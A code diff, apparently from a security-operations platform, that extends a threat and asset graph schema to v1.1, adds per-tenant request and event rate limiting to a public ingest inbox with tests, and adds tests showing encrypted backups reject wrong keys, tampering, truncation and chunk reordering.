+// investigation needs but could not previously traverse:
+//
+// identity Employee -> Department -> manager chain, so an alert on an
+// account resolves to a person, their team, and who to escalate to.
+// Accounts alone cannot answer "is this expected for this person".
+// asset Vulnerability and Application, so an alert on a host carries what
+// is exploitable on it and what it runs.
+// cloud CloudAccount and Secret, so a compromised workload resolves to a
+// blast radius rather than a resource id.
+// business Application criticality, data classification and business owner,
+// which is what turns a severity into a priority.
+// threat IOC -> Malware -> Campaign -> ThreatActor -> Technique, so an
+// indicator resolves to who is likely behind it and what they do next.
+//
+// Every v1.0 label and relationship is unchanged, so a consumer pinned to
+// v1.0 keeps working and simply does not see the new vocabulary.
+const SchemaVersion = "v1.1"
// NodeLabel is the canonical entity type — matches the Neo4j label.
type NodeLabel string
@@ -48,6 +66,35 @@ const (
NodeAlert NodeLabel = "Alert"
NodeCase NodeLabel = "Case"
NodeDetection NodeLabel = "Detection"
+
+ // ── v1.1: identity depth ──────────────────────────────────────────
+ // The person behind the accounts. An Identity is an account; an
+ // Employee is who holds it, which is what lets an investigation ask
+ // whether behaviour on one account is consistent with the same human's
+ // behaviour on another.
+ NodeEmployee NodeLabel = "Employee"
+ NodeDepartment NodeLabel = "Department"
+
+ // ── v1.1: asset depth ─────────────────────────────────────────────
+ NodeVulnerability NodeLabel = "Vulnerability"
+ NodeApplication NodeLabel = "Application"
+
+ // ── v1.1: cloud depth ─────────────────────────────────────────────
+ NodeCloudAccount NodeLabel = "CloudAccount"
+ // Secret is a *reference*, never a value: name, store, rotation age.
+ // The graph must be safe to hand to an agent.
+ NodeSecret NodeLabel = "Secret"
+
+ // ── v1.1: threat depth ────────────────────────────────────────────
+ // These are the global reference labels. They are deliberately not
+ // tenant-scoped, and tenant_deletion.py exempts them from an
+ // offboarding purge.
+ NodeIOC NodeLabel = "IOC"
+ NodeMalware NodeLabel = "Malware"
+ NodeCampaign NodeLabel = "Campaign"
+ NodeThreatActor NodeLabel = "ThreatActor"
+ NodeTechnique NodeLabel = "Technique"
+ NodeTactic NodeLabel = "Tactic"
)
// AllNodeLabels is the canonical, ordered enumeration of v1.0 labels. Used by
@@ -71,6 +118,33 @@ var AllNodeLabels = []NodeLabel{
NodeAlert,
NodeCase,
NodeDetection,
+ NodeEmployee,
+ NodeDepartment,
+ NodeVulnerability,
+ NodeApplication,
+ NodeCloudAccount,
+ NodeSecret,
+ NodeIOC,
+ NodeMalware,
+ NodeCampaign,
+ NodeThreatActor,
+ NodeTechnique,
+ NodeTactic,
+}
+
+// GlobalNodeLabels are reference entities shared across tenants: MITRE
+// technique and tactic vocabulary, and public threat intel. They carry no
+// tenant_id, tenant-scoped reads must exempt them explicitly, and an
+// offboarding purge must not remove them.
+var GlobalNodeLabels = []NodeLabel{
+ NodeTechnique,
+ NodeTactic,
+ NodeMalware,
+ NodeCampaign,
+ NodeThreatActor,
+ // A CVE is the same fact in every tenant. What is tenant-specific is
+ // the AFFECTED_BY edge from a scoped Resource.
+ NodeVulnerability,
}
// RelType is a relationship type — matches the Neo4j relationship label.
@@ -78,26 +152,56 @@ type RelType string
// Canonical relationship types for v1.0. Same compatibility rules as labels.
const (
- RelAssumedBy RelType = "ASSUMED_BY"
- RelHasPermission RelType = "HAS_PERMISSION"
- RelGrants RelType = "GRANTS"
- RelOwns RelType = "OWNS"
- RelConfiguredAs RelType = "CONFIGURED_AS"
- RelDeployedFrom RelType = "DEPLOYED_FROM"
- RelAccesses RelType = "ACCESSES"
- RelPeerOf RelType = "PEER_OF"
- RelTriggered RelType = "TRIGGERED"
- RelOccurredOn RelType = "OCCURRED_ON"
- RelMemberOf RelType = "MEMBER_OF"
- RelDeploys RelType = "DEPLOYS"
- RelReadsFrom RelType = "READS_FROM"
- RelWritesTo RelType = "WRITES_TO"
+ RelAssumedBy RelType = "ASSUMED_BY"
+ RelHasPermission RelType = "HAS_PERMISSION"
+ RelGrants RelType = "GRANTS"
+ RelOwns RelType = "OWNS"
+ RelConfiguredAs RelType = "CONFIGURED_AS"
+ RelDeployedFrom RelType = "DEPLOYED_FROM"
+ RelAccesses RelType = "ACCESSES"
+ RelPeerOf RelType = "PEER_OF"
+ RelTriggered RelType = "TRIGGERED"
+ RelOccurredOn RelType = "OCCURRED_ON"
+ RelMemberOf RelType = "MEMBER_OF"
+ RelDeploys RelType = "DEPLOYS"
+ RelReadsFrom RelType = "READS_FROM"
+ RelWritesTo RelType = "WRITES_TO"
// RelEffectivePermission is the cached output of the T3.2 resolver —
// materialised by `services/api/app/services/effective_permissions/`
// rather than by the ingest writer itself. Listed here so it travels
// with the canonical vocabulary and so the schema drift gate keeps the
// YAML, the Go enums, and the live database in lockstep.
RelEffectivePermission RelType = "EFFECTIVE_PERMISSION"
+
+ // ── v1.1: identity depth ──────────────────────────────────────────
+ // Employee -> Identity. One person, many accounts: corporate SSO, a
+ // break-glass admin, a personal-looking service account. Joining them
+ // is what makes "this user also did X in another system" answerable.
+ RelAuthenticatesAs RelType = "AUTHENTICATES_AS"
+ RelBelongsTo RelType = "BELONGS_TO" // Employee -> Department
+ RelManages RelType = "MANAGES" // Employee -> Employee
+
+ // ── v1.1: asset depth ─────────────────────────────────────────────
+ RelAffectedBy RelType = "AFFECTED_BY" // Resource -> Vulnerability
+ RelRuns RelType = "RUNS" // Resource -> Application
+
+ // ── v1.1: cloud depth ─────────────────────────────────────────────
+ RelInAccount RelType = "IN_ACCOUNT" // Resource -> CloudAccount
+ RelStores RelType = "STORES" // Resource -> Secret
+
+ // ── v1.1: business depth ──────────────────────────────────────────
+ // Application -> Employee. Who is accountable for the service, which
+ // is who an escalation actually goes to.
+ RelOwnedBy RelType = "OWNED_BY"
+
+ // ── v1.1: threat depth ────────────────────────────────────────────
+ RelObservedIOC RelType = "OBSERVED_IOC" // Alert -> IOC
+ RelIndicates RelType = "INDICATES" // IOC -> Malware
+ RelPartOf RelType = "PART_OF" // Malware -> Campaign
+ RelAttributedTo RelType = "ATTRIBUTED_TO" // Campaign -> ThreatActor
+ RelUsesTechnique RelType = "USES_TECHNIQUE" // Malware|ThreatActor -> Technique
+ RelMapsTo RelType = "MAPS_TO" // Alert|Detection -> Technique
+ RelInTactic RelType = "IN_TACTIC" // Technique -> Tactic
)
// AllRelTypes is the canonical, ordered enumeration of v1.0 relationships.
@@ -117,10 +221,25 @@ var AllRelTypes = []RelType{
RelReadsFrom,
RelWritesTo,
RelEffectivePermission,
+ RelAuthenticatesAs,
+ RelBelongsTo,
+ RelManages,
+ RelAffectedBy,
+ RelRuns,
+ RelInAccount,
+ RelStores,
+ RelOwnedBy,
+ RelObservedIOC,
+ RelIndicates,
+ RelPartOf,
+ RelAttributedTo,
+ RelUsesTechnique,
+ RelMapsTo,
+ RelInTactic,
}
// ChangeType describes a graph mutation that downstream consumers want to
-// react to. Published on the ``security.graph_updates`` topic so the realtime
+// react to. Published on the “security.graph_updates“ topic so the realtime
// service (T1.4) can stream into the UI without re-querying Neo4j.
type ChangeType string
diff --git a/services/ingest/internal/inbox/handler.go b/services/ingest/internal/inbox/handler.go
index 0649658a3..7af808ded 100644
--- a/services/ingest/internal/inbox/handler.go
+++ b/services/ingest/internal/inbox/handler.go
@@ -10,6 +10,7 @@ import (
"fmt"
"io"
"net/http"
+ "strconv"
"strings"
"time"
@@ -35,6 +36,7 @@ type Handler struct {
registry *Registry
pub *publisher.Publisher
maxBodySize int64
+ limiter *Limiter
}
// NewHandler wires the inbox handler. maxBodySize caps a single request
@@ -49,6 +51,14 @@ func NewHandler(store *Store, registry *Registry, pub *publisher.Publisher, maxB
}
}
+// WithLimiter attaches per-tenant rate limiting. A nil limiter allows
+// everything, so this is safe to skip in tests and in deployments that
+// terminate limiting at the edge.
+func (h *Handler) WithLimiter(l *Limiter) *Handler {
+ h.limiter = l
+ return h
+}
+
// Prometheus counters track the universal-capture path so freshness SLOs
// (Workstream 5) can include push-mode connectors and operators can
// alarm on token drift.
@@ -67,6 +77,13 @@ var (
},
[]string{"template"},
)
+ inboxRateLimited = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "aisoc_ingest_inbox_rate_limited_total",
+ Help: "Inbox requests rejected by the per-tenant limiter, by dimension.",
+ },
+ []string{"route", "dimension"},
+ )
)
// ServeJSON handles POST /v1/inbox/{tenant_token}.
@@ -273,6 +290,19 @@ func (h *Handler) resolveOrFail(w http.ResponseWriter, r *http.Request, route, t
}
return nil
}
+
+ // Checked here rather than per route: all four routes resolve before
+ // they parse, so one gate covers them and cannot drift out of sync
+ // with a fifth route added later.
+ if ok, wait := h.limiter.AllowRequest(tok.TenantID); !ok {
+ inboxRequests.WithLabelValues(route, tok.TemplateID, "rate_limited").Inc()
+ inboxRateLimited.WithLabelValues(route, "requests").Inc()
+ w.Header().Set("Retry-After", strconv.Itoa(retryAfterSeconds(wait)))
+ writeErr(w, http.StatusTooManyRequests,
+ "inbox: request rate limit exceeded for this tenant; retry after the interval in Retry-After")
+ return nil
+ }
+
return tok
}
@@ -359,6 +389,22 @@ func (h *Handler) publishMany(ctx context.Context, w http.ResponseWriter, route
return
}
+ // Event quota is applied after parsing because the count is not
+ // knowable before then, and before normalising because rejecting is
+ // cheaper than building events we will throw away. The batch is
+ // rejected whole: a partial accept would split a vendor's payload
+ // across a boundary it cannot observe, and make its retry duplicate
+ // the accepted half.
+ if ok, wait := h.limiter.AllowEvents(tok.TenantID, len(events)); !ok {
+ inboxRequests.WithLabelValues(route, tok.TemplateID, "rate_limited").Inc()
+ inboxRateLimited.WithLabelValues(route, "events").Inc()
+ w.Header().Set("Retry-After", strconv.Itoa(retryAfterSeconds(wait)))
+ writeErr(w, http.StatusTooManyRequests,
+ fmt.Sprintf("inbox: event quota exceeded for this tenant (%d events in this batch); "+
+ "retry after the interval in Retry-After", len(events)))
+ return
+ }
+
receivedAt := time.Now().UTC().Format(time.RFC3339Nano)
tenantID := tok.TenantID.String()
connectorRef := "inbox:" + tok.TemplateID
diff --git a/services/ingest/internal/inbox/ratelimit.go b/services/ingest/internal/inbox/ratelimit.go
new file mode 100644
index 000000000..bf709dcd2
--- /dev/null
+++ b/services/ingest/internal/inbox/ratelimit.go
@@ -0,0 +1,217 @@
+package inbox
+
+import (
+ "sync"
+ "time"
+
+ "github.com/google/uuid"
+)
+
+// Per-tenant rate limiting for the public inbox.
+//
+// /v1/inbox/* is the one endpoint deliberately exposed to the internet with
+// no authentication beyond a bearer token in the path, which any vendor
+// webhook config can hold. It had no limit of any kind: a single token could
+// post unbounded requests carrying unbounded events, and the only backstop
+// was maxBodySize on one request. One noisy (or compromised) integration
+// could therefore fill Kafka, the lake and every tenant's alert queue behind
+// it, and the blast radius crossed tenants because the spine is shared.
+//
+// Two dimensions are limited because they fail differently:
+//
+// - requests/sec bounds connection and parse cost, which is what a
+// misconfigured vendor retry loop consumes.
+// - events/sec bounds what reaches Kafka, which is what actually costs
+// storage and triage. One accepted request can carry thousands of events,
+// so a request limit alone is not a volume limit.
+//
+// Scope: this is in-process, so with N ingest replicas the effective ceiling
+// is N times the configured rate. That is a deliberate trade — a shared
+// limiter needs Redis, which ingest does not otherwise depend on, and a
+// per-replica bound already turns "unbounded" into "bounded and
+// proportional". Operators who need an exact global cap should set the rate
+// to the target divided by replica count, or terminate at the edge.
+
+// bucket is a token bucket that refills continuously.
+type bucket struct {
+ tokens float64
+ lastFill time.Time
+ lastSeen time.Time
+}
+
+// Limiter enforces per-tenant request and event ceilings.
+//
+// The zero value is unusable; construct with NewLimiter. A nil *Limiter is
+// valid and allows everything, so callers do not need nil checks and the
+// limiter can be switched off by configuration without branching at each
+// call site.
+type Limiter struct {
+ mu sync.Mutex
+ buckets map[uuid.UUID]*limiterEntry
+
+ reqRate float64
+ reqBurst float64
+ eventRate float64
+ eventBurst float64
+
+ // now is injectable so tests can advance time without sleeping; a
+ // rate limiter tested with real sleeps is either slow or flaky.
+ now func() time.Time
+
+ lastSweep time.Time
+ idleTTL time.Duration
+}
+
+type limiterEntry struct {
+ requests bucket
+ events bucket
+}
+
+// NewLimiter builds a limiter. A non-positive rate disables that dimension.
+//
+// Burst defaults to one second of rate when not positive, which keeps a
+// vendor that batches its retries from being rejected for the shape of its
+// traffic rather than its volume.
+func NewLimiter(reqRate, reqBurst, eventRate, eventBurst float64) *Limiter {
+ if reqRate > 0 && reqBurst <= 0 {
+ reqBurst = reqRate
+ }
+ if eventRate > 0 && eventBurst <= 0 {
+ eventBurst = eventRate
+ }
+ return &Limiter{
+ buckets: make(map[uuid.UUID]*limiterEntry),
+ reqRate: reqRate,
+ reqBurst: reqBurst,
+ eventRate: eventRate,
+ eventBurst: eventBurst,
+ now: time.Now,
+ idleTTL: 15 * time.Minute,
+ }
+}
+
+// refill advances a bucket to t and returns it.
+func (b *bucket) refill(t time.Time, rate, burst float64) {
+ if b.lastFill.IsZero() {
+ b.tokens = burst
+ b.lastFill = t
+ return
+ }
+ elapsed := t.Sub(b.lastFill).Seconds()
+ if elapsed <= 0 {
+ return
+ }
+ b.tokens += elapsed * rate
+ if b.tokens > burst {
+ b.tokens = burst
+ }
+ b.lastFill = t
+}
+
+// take removes n tokens if available. Returns ok and, when not ok, how long
+// until n tokens would be available.
+func (b *bucket) take(n, rate, burst float64) (bool, time.Duration) {
+ if b.tokens >= n {
+ b.tokens -= n
+ return true, 0
+ }
+ if rate <= 0 {
+ return false, 0
+ }
+ deficit := n - b.tokens
+ // A single request asking for more than the entire burst can never be
+ // satisfied by waiting, so report the full refill of the burst rather
+ // than a wait that will not help.
+ if n > burst {
+ return false, time.Duration(burst/rate*float64(time.Second)) + time.Second
+ }
+ return false, time.Duration(deficit / rate * float64(time.Second))
+}
+
+func (l *Limiter) entry(tenant uuid.UUID, t time.Time) *limiterEntry {
+ e, ok := l.buckets[tenant]
+ if !ok {
+ e = &limiterEntry{}
+ l.buckets[tenant] = e
+ }
+ e.requests.lastSeen = t
+ e.events.lastSeen = t
+ return e
+}
+
+// sweep drops buckets untouched for idleTTL. Without it the map grows once
+// per distinct tenant seen, which is an attacker-controlled dimension: the
+// path segment is a token and a miss still reaches here on the routes that
+// resolve first.
+func (l *Limiter) sweep(t time.Time) {
+ if t.Sub(l.lastSweep) < l.idleTTL {
+ return
+ }
+ l.lastSweep = t
+ for id, e := range l.buckets {
+ if t.Sub(e.requests.lastSeen) > l.idleTTL {
+ delete(l.buckets, id)
+ }
+ }
+}
+
+// AllowRequest reports whether one more request from tenant is permitted.
+func (l *Limiter) AllowRequest(tenant uuid.UUID) (bool, time.Duration) {
+ if l == nil || l.reqRate <= 0 {
+ return true, 0
+ }
+ l.mu.Lock()
+ defer l.mu.Unlock()
+
+ t := l.now()
+ l.sweep(t)
+ e := l.entry(tenant, t)
+ e.requests.refill(t, l.reqRate, l.reqBurst)
+ return e.requests.take(1, l.reqRate, l.reqBurst)
+}
+
+// AllowEvents reports whether n more events from tenant are permitted.
+//
+// Called after parsing, because the count is not knowable before then. A
+// rejected batch is rejected whole: partially accepting events would split a
+// vendor's payload across a boundary the vendor cannot see, and it would
+// make retries duplicate the accepted half.
+func (l *Limiter) AllowEvents(tenant uuid.UUID, n int) (bool, time.Duration) {
+ if l == nil || l.eventRate <= 0 || n <= 0 {
+ return true, 0
+ }
+ l.mu.Lock()
+ defer l.mu.Unlock()
+
+ t := l.now()
+ e := l.entry(tenant, t)
+ e.events.refill(t, l.eventRate, l.eventBurst)
+ return e.events.take(float64(n), l.eventRate, l.eventBurst)
+}
+
+// Tracked reports how many tenants currently hold buckets. Test and
+// diagnostics only.
+func (l *Limiter) Tracked() int {
+ if l == nil {
+ return 0
+ }
+ l.mu.Lock()
+ defer l.mu.Unlock()
+ return len(l.buckets)
+}
+
+// retryAfterSeconds renders a Retry-After header value, rounded up so a
+// client that honours it exactly does not come back one tick too early.
+func retryAfterSeconds(d time.Duration) int {
+ if d <= 0 {
+ return 1
+ }
+ secs := int(d / time.Second)
+ if d%time.Second != 0 {
+ secs++
+ }
+ if secs < 1 {
+ return 1
+ }
+ return secs
+}
diff --git a/services/ingest/internal/inbox/ratelimit_test.go b/services/ingest/internal/inbox/ratelimit_test.go
new file mode 100644
index 000000000..84a6c6856
--- /dev/null
+++ b/services/ingest/internal/inbox/ratelimit_test.go
@@ -0,0 +1,250 @@
+package inbox
+
+import (
+ "testing"
+ "time"
+
+ "github.com/google/uuid"
+)
+
+// The inbox is the one route deliberately open to the internet, and it had
+// no ceiling of any kind. These tests pin the properties that make the
+// limiter worth having rather than just present: that one tenant cannot
+// consume another's budget, that a large batch is bounded by events rather
+// than by request count, and that the bucket map cannot grow without bound
+// on a dimension an attacker controls.
+
+func newTestLimiter(reqRate, reqBurst, evRate, evBurst float64) (*Limiter, func(time.Duration)) {
+ l := NewLimiter(reqRate, reqBurst, evRate, evBurst)
+ now := time.Date(2026, 9, 22, 12, 0, 0, 0, time.UTC)
+ l.now = func() time.Time { return now }
+ return l, func(d time.Duration) { now = now.Add(d) }
+}
+
+func TestNilLimiterAllowsEverything(t *testing.T) {
+ // Callers must not need nil checks, and switching limiting off must not
+ // mean editing every call site.
+ var l *Limiter
+ if ok, _ := l.AllowRequest(uuid.New()); !ok {
+ t.Fatal("nil limiter rejected a request")
+ }
+ if ok, _ := l.AllowEvents(uuid.New(), 1_000_000); !ok {
+ t.Fatal("nil limiter rejected events")
+ }
+}
+
+func TestZeroRateDisablesTheDimension(t *testing.T) {
+ l, _ := newTestLimiter(0, 0, 10, 10)
+ for i := 0; i < 1000; i++ {
+ if ok, _ := l.AllowRequest(uuid.New()); !ok {
+ t.Fatalf("request %d rejected with rate disabled", i)
+ }
+ }
+}
+
+func TestRequestBurstThenThrottle(t *testing.T) {
+ l, advance := newTestLimiter(10, 5, 0, 0)
+ tenant := uuid.New()
+
+ for i := 0; i < 5; i++ {
+ if ok, _ := l.AllowRequest(tenant); !ok {
+ t.Fatalf("burst request %d was rejected; burst is 5", i+1)
+ }
+ }
+ ok, wait := l.AllowRequest(tenant)
+ if ok {
+ t.Fatal("sixth request passed; the burst should be exhausted")
+ }
+ if wait <= 0 {
+ t.Fatal("a rejection must say how long to wait")
+ }
+
+ advance(100 * time.Millisecond) // one token at 10/s
+ if ok, _ := l.AllowRequest(tenant); !ok {
+ t.Fatal("bucket did not refill after the advertised wait")
+ }
+}
+
+func TestBucketRefillIsCappedAtBurst(t *testing.T) {
+ l, advance := newTestLimiter(10, 5, 0, 0)
+ tenant := uuid.New()
+
+ advance(1 * time.Hour) // a long idle period must not bank credit
+ allowed := 0
+ for i := 0; i < 50; i++ {
+ if ok, _ := l.AllowRequest(tenant); ok {
+ allowed++
+ }
+ }
+ if allowed != 5 {
+ t.Fatalf("after an hour idle, allowed %d requests; burst is 5", allowed)
+ }
+}
+
+func TestTenantsDoNotShareBudget(t *testing.T) {
+ // The whole point: one noisy integration must not starve the others.
+ l, _ := newTestLimiter(10, 2, 0, 0)
+ noisy, quiet := uuid.New(), uuid.New()
+
+ for i := 0; i < 20; i++ {
+ l.AllowRequest(noisy)
+ }
+ if ok, _ := l.AllowRequest(noisy); ok {
+ t.Fatal("noisy tenant was not throttled")
+ }
+ for i := 0; i < 2; i++ {
+ if ok, _ := l.AllowRequest(quiet); !ok {
+ t.Fatalf("quiet tenant rejected at request %d after a noisy neighbour", i+1)
+ }
+ }
+}
+
+func TestEventQuotaBoundsVolumeNotJustRequestCount(t *testing.T) {
+ // A request limit alone is not a volume limit: one accepted request can
+ // carry thousands of events.
+ l, _ := newTestLimiter(1000, 1000, 100, 100)
+ tenant := uuid.New()
+
+ if ok, _ := l.AllowEvents(tenant, 100); !ok {
+ t.Fatal("a batch exactly at burst was rejected")
+ }
+ if ok, _ := l.AllowEvents(tenant, 1); ok {
+ t.Fatal("event quota did not bind after the burst was consumed")
+ }
+ // The request dimension is untouched, which is the point of splitting them.
+ if ok, _ := l.AllowRequest(tenant); !ok {
+ t.Fatal("request budget was consumed by the event quota")
+ }
+}
+
+func TestBatchLargerThanBurstIsRejectedWithAFiniteWait(t *testing.T) {
+ // Waiting cannot help a batch bigger than the burst; the caller still
+ // needs a usable Retry-After rather than a zero or an absurd one.
+ l, _ := newTestLimiter(0, 0, 100, 100)
+ ok, wait := l.AllowEvents(uuid.New(), 5000)
+ if ok {
+ t.Fatal("an over-burst batch was accepted")
+ }
+ if wait <= 0 || wait > 10*time.Second {
+ t.Fatalf("implausible Retry-After for an over-burst batch: %v", wait)
+ }
+}
+
+func TestRejectedBatchConsumesNothing(t *testing.T) {
+ // A partial deduction would leave the tenant's budget drained by a batch
+ // that was never accepted, so the retry it was told to make also fails.
+ l, _ := newTestLimiter(0, 0, 100, 100)
+ tenant := uuid.New()
+
+ if ok, _ := l.AllowEvents(tenant, 150); ok {
+ t.Fatal("over-budget batch accepted")
+ }
+ if ok, _ := l.AllowEvents(tenant, 100); !ok {
+ t.Fatal("a rejected batch consumed budget it was not granted")
+ }
+}
+
+func TestNonPositiveEventCountIsNotCharged(t *testing.T) {
+ l, _ := newTestLimiter(0, 0, 10, 10)
+ tenant := uuid.New()
+ for i := 0; i < 100; i++ {
+ if ok, _ := l.AllowEvents(tenant, 0); !ok {
+ t.Fatal("an empty batch consumed quota")
+ }
+ }
+ if ok, _ := l.AllowEvents(tenant, 10); !ok {
+ t.Fatal("empty batches drained the bucket")
+ }
+}
+
+func TestIdleTenantsAreSweptSoTheMapCannotGrowUnbounded(t *testing.T) {
+ // The tenant dimension is reachable by anyone holding tokens, so an
+ // unbounded map is a memory-exhaustion vector rather than untidiness.
+ l, advance := newTestLimiter(10, 10, 0, 0)
+
+ for i := 0; i < 100; i++ {
+ l.AllowRequest(uuid.New())
+ }
+ if got := l.Tracked(); got != 100 {
+ t.Fatalf("tracked %d tenants, expected 100", got)
+ }
+
+ advance(16 * time.Minute)
+ l.AllowRequest(uuid.New()) // any call triggers the sweep
+
+ if got := l.Tracked(); got > 1 {
+ t.Fatalf("idle buckets were not swept: %d still tracked", got)
+ }
+}
+
+func TestActiveTenantsSurviveTheSweep(t *testing.T) {
+ l, advance := newTestLimiter(10, 3, 0, 0)
+ active := uuid.New()
+
+ l.AllowRequest(active)
+ advance(16 * time.Minute)
+ l.AllowRequest(active) // refreshes lastSeen and sweeps
+ advance(1 * time.Minute)
+
+ // Consume the burst; if the bucket had been dropped it would be full
+ // again and this would not throttle.
+ for i := 0; i < 3; i++ {
+ l.AllowRequest(active)
+ }
+ if ok, _ := l.AllowRequest(active); ok {
+ t.Fatal("an active tenant's bucket was reset by the sweep")
+ }
+}
+
+func TestRetryAfterSecondsAlwaysRoundsUp(t *testing.T) {
+ // A client honouring Retry-After exactly must not come back one tick
+ // early and be rejected again.
+ cases := []struct {
+ in time.Duration
+ want int
+ }{
+ {0, 1},
+ {-time.Second, 1},
+ {1 * time.Millisecond, 1},
+ {999 * time.Millisecond, 1},
+ {1 * time.Second, 1},
+ {1001 * time.Millisecond, 2},
+ {2500 * time.Millisecond, 3},
+ }
+ for _, c := range cases {
+ if got := retryAfterSeconds(c.in); got != c.want {
+ t.Errorf("retryAfterSeconds(%v) = %d, want %d", c.in, got, c.want)
+ }
+ }
+}
+
+func TestDefaultBurstFallsBackToRate(t *testing.T) {
+ l := NewLimiter(10, 0, 20, 0)
+ if l.reqBurst != 10 || l.eventBurst != 20 {
+ t.Fatalf("burst defaults wrong: req=%v event=%v", l.reqBurst, l.eventBurst)
+ }
+}
+
+func TestConcurrentAccessIsSafe(t *testing.T) {
+ // Run with -race; the limiter is shared across every inbound request.
+ l := NewLimiter(1000, 1000, 10000, 10000)
+ tenants := []uuid.UUID{uuid.New(), uuid.New(), uuid.New()}
+ done := make(chan struct{})
+
+ for i := 0; i < 8; i++ {
+ go func(i int) {
+ for j := 0; j < 200; j++ {
+ tenant := tenants[j%len(tenants)]
+ l.AllowRequest(tenant)
+ l.AllowEvents(tenant, 3)
+ }
+ done <- struct{}{}
+ }(i)
+ }
+ for i := 0; i < 8; i++ {
+ <-done
+ }
+ if l.Tracked() != len(tenants) {
+ t.Fatalf("tracked %d tenants, expected %d", l.Tracked(), len(tenants))
+ }
+}
diff --git a/services/ingest/main.go b/services/ingest/main.go
index 761146c15..9331bade7 100644
--- a/services/ingest/main.go
+++ b/services/ingest/main.go
@@ -162,8 +162,16 @@ func main() {
log.Info().
Strs("templates", registry.IDs()).
Int64("max_body_bytes", cfg.InboxMaxBodyBytes).
+ Float64("rate_requests_per_second", cfg.InboxRateRequestsPerSecond).
+ Float64("rate_events_per_second", cfg.InboxRateEventsPerSecond).
Msg("inbox: universal-capture push paths enabled")
- inboxHandler = inbox.NewHandler(store, registry, pub, cfg.InboxMaxBodyBytes)
+ inboxHandler = inbox.NewHandler(store, registry, pub, cfg.InboxMaxBodyBytes).
+ WithLimiter(inbox.NewLimiter(
+ cfg.InboxRateRequestsPerSecond,
+ cfg.InboxRateRequestBurst,
+ cfg.InboxRateEventsPerSecond,
+ cfg.InboxRateEventBurst,
+ ))
}
} else if !cfg.InboxEnabled {
log.Info().Msg("inbox: disabled via INBOX_ENABLED=false")
diff --git a/tests/test_backup_crypt.py b/tests/test_backup_crypt.py
new file mode 100644
index 000000000..b43054d9b
--- /dev/null
+++ b/tests/test_backup_crypt.py
@@ -0,0 +1,243 @@
+"""Backup artifacts must be encrypted, verifiable, and unforgiving of damage.
+
+architecture.md credited backup.sh with AES-256-GCM and a SHA-256 manifest
+for months while it gzipped and uploaded. These tests hold the replacement to
+the property that actually matters operationally: a damaged or truncated
+backup must fail loudly at restore time, because a restore that silently
+produces a partial database is worse than a restore that refuses.
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import io
+import json
+import os
+import secrets
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+
+REPO_ROOT = Path(__file__).resolve().parent.parent
+MODULE_PATH = REPO_ROOT / "scripts" / "backup_crypt.py"
+
+spec = importlib.util.spec_from_file_location("backup_crypt", MODULE_PATH)
+assert spec and spec.loader
+backup_crypt = importlib.util.module_from_spec(spec)
+sys.modules["backup_crypt"] = backup_crypt
+spec.loader.exec_module(backup_crypt)
+
+KEY = bytes.fromhex("00" * 32)
+OTHER_KEY = bytes.fromhex("11" * 32)
+
+
+def roundtrip(payload: bytes, key: bytes = KEY) -> bytes:
+ sealed = io.BytesIO()
+ backup_crypt.encrypt_stream(io.BytesIO(payload), sealed, key)
+ sealed.seek(0)
+ opened = io.BytesIO()
+ backup_crypt.decrypt_stream(sealed, opened, key)
+ return opened.getvalue()
+
+
+ "payload",
+ [
+ b"",
+ b"a",
+ b"-- pg_dump output\nCREATE TABLE alerts (id uuid);\n",
+ secrets.token_bytes(backup_crypt.CHUNK_SIZE - 1),
+ secrets.token_bytes(backup_crypt.CHUNK_SIZE),
+ secrets.token_bytes(backup_crypt.CHUNK_SIZE + 1),
+ # Spans several chunks, so chunk framing is genuinely exercised.
+ secrets.token_bytes(backup_crypt.CHUNK_SIZE * 2 + 7),
+ ],
+)
+def test_roundtrip_preserves_bytes(payload: bytes) -> None:
+ assert roundtrip(payload) == payload
+
+
+def test_ciphertext_does_not_contain_the_plaintext() -> None:
+ """The point of the exercise: a bucket read must not yield the dump."""
+ marker = b"AKIAIOSFODNN7EXAMPLE super-secret-connector-credential"
+ payload = b"x" * 1000 + marker + b"y" * 1000
+ sealed = io.BytesIO()
+ backup_crypt.encrypt_stream(io.BytesIO(payload), sealed, KEY)
+ assert marker not in sealed.getvalue()
+
+
+def test_wrong_key_is_rejected() -> None:
+ sealed = io.BytesIO()
+ backup_crypt.encrypt_stream(io.BytesIO(b"payload"), sealed, KEY)
+ sealed.seek(0)
+ with pytest.raises(backup_crypt.BackupCryptError, match="Authentication failed"):
+ backup_crypt.decrypt_stream(sealed, io.BytesIO(), OTHER_KEY)
+
+
+def test_flipped_bit_is_rejected() -> None:
+ sealed = io.BytesIO()
+ backup_crypt.encrypt_stream(io.BytesIO(b"payload" * 100), sealed, KEY)
+ blob = bytearray(sealed.getvalue())
+ blob[-40] ^= 0x01
+ with pytest.raises(backup_crypt.BackupCryptError, match="Authentication failed"):
+ backup_crypt.decrypt_stream(io.BytesIO(bytes(blob)), io.BytesIO(), KEY)
+
+
+def test_truncation_is_rejected_rather_than_silently_short() -> None:
+ """The failure mode that matters: half a dump restoring as if whole.
+
+ A whole-file encrypt would decrypt the surviving chunks happily and hand
+ back a shorter database. The end-of-stream marker makes that impossible.
+ """
+ payload = secrets.token_bytes(backup_crypt.CHUNK_SIZE * 2)
+ sealed = io.BytesIO()
+ backup_crypt.encrypt_stream(io.BytesIO(payload), sealed, KEY)
+ blob = sealed.getvalue()
+
+ truncated = blob[: len(blob) // 2]
+ with pytest.raises(backup_crypt.BackupCryptError):
+ backup_crypt.decrypt_stream(io.BytesIO(truncated), io.BytesIO(), KEY)
+
+
+def test_chunks_cannot_be_reordered() -> None:
+ """Reordering must fail even though every chunk is individually valid."""
+ chunk = backup_crypt.CHUNK_SIZE
+ payload = b"A" * chunk + b"B" * chunk
+ sealed = io.BytesIO()
+ backup_crypt.encrypt_stream(io.BytesIO(payload), sealed, KEY)
+ blob = sealed.getvalue()
+
+ header = len(backup_crypt.MAGIC) + 1 + 8
+ framed = 4 + chunk + backup_crypt.TAG_BYTES
+ first = blob[header : header + framed]
+ second = blob[header + framed : header + 2 * framed]
+ swapped = blob[:header] + second + first + blob[header + 2 * framed :]
+
+ with pytest.raises(backup_crypt.BackupCryptError, match="Authentication failed"):
+ backup_crypt.decrypt_stream(io.BytesIO(swapped), io.BytesIO(), KEY)
+
+
+def test_plaintext_file_is_not_mistaken_for_an_artifact() -> None:
+ with pytest.raises(backup_crypt.BackupCryptError, match="bad magic"):
+ backup_crypt.decrypt_stream(io.BytesIO(b"-- plain sql dump\n" * 10), io.BytesIO(), KEY)
+
+
